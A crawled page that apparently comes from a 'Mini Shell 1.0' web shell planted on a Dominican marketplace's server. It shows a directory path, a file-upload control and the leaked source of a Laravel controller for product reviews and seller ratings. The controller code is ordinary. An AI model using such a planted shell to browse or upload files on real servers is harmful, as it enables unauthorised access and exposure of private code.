HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

¡Página no encontrada!

La página que busca no se encuentra en nuestro servidor.

Volver al inicio
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/ReviewController.php
<?php



namespace App\Http\Controllers\Api\V2;



use App\Http\Resources\V2\ReviewCollection;

use App\Models\Review;

use App\Models\Product;

use Illuminate\Http\Request;

use App\Models\User;



class ReviewController extends Controller

{

    public function index($id)

    {

        return new ReviewCollection(Review::where('product_id', $id)->where('status', 1)->orderBy('updated_at', 'desc')->paginate(10));

    }



    public function submit(Request $request)

    {

        $product = Product::find($request->product_id);

        $user = User::find(auth()->user()->id);



        /*

         @foreach ($detailedProduct->orderDetails as $key => $orderDetail)

                                            @if($orderDetail->order != null && $orderDetail->order->user_id == Auth::user()->id && $orderDetail->delivery_status == 'delivered' && \App\Models\Review::where('user_id', Auth::user()->id)->where('product_id', $detailedProduct->id)->first() == null)

                                                @php

                                                    $commentable = true;

                                                @endphp

                                            @endif

                                        @endforeach

        */



        $reviewable = false;



        foreach ($product->orderDetails as $key => $orderDetail) {

            if($orderDetail->order != null && $orderDetail->order->user_id == auth()->user()->id && $orderDetail->delivery_status == 'delivered' && \App\Models\Review::where('user_id', auth()->user()->id)->where('product_id', $product->id)->first() == null){

                $reviewable = true;

            }

        }



        if(!$reviewable){

            return response()->json([

                'result' => false,

                'message' => translate('No puedes hacer reseña de este producto')

            ]);

        }



        $review = new \App\Models\Review;

        $review->product_id = $request->product_id;

        $review->user_id = auth()->user()->id;

        $review->rating = $request->rating;

        $review->comment = $request->comment;

        $review->viewed = 0;

        $review->save();



        $count = Review::where('product_id', $product->id)->where('status', 1)->count();

        if($count > 0){

            $product->rating = Review::where('product_id', $product->id)->where('status', 1)->sum('rating')/$count;

        }

        else {

            $product->rating = 0;

        }

        $product->save();



        if($product->added_by == 'seller'){

            $seller = $product->user->shop;

            $seller->rating = (($seller->rating*$seller->num_of_reviews)+$review->rating)/($seller->num_of_reviews + 1);

            $seller->num_of_reviews += 1;

            $seller->save();

        }



        return response()->json([

            'result' => true,

            'message' => translate('Review  Submitted')

        ]);

    }

}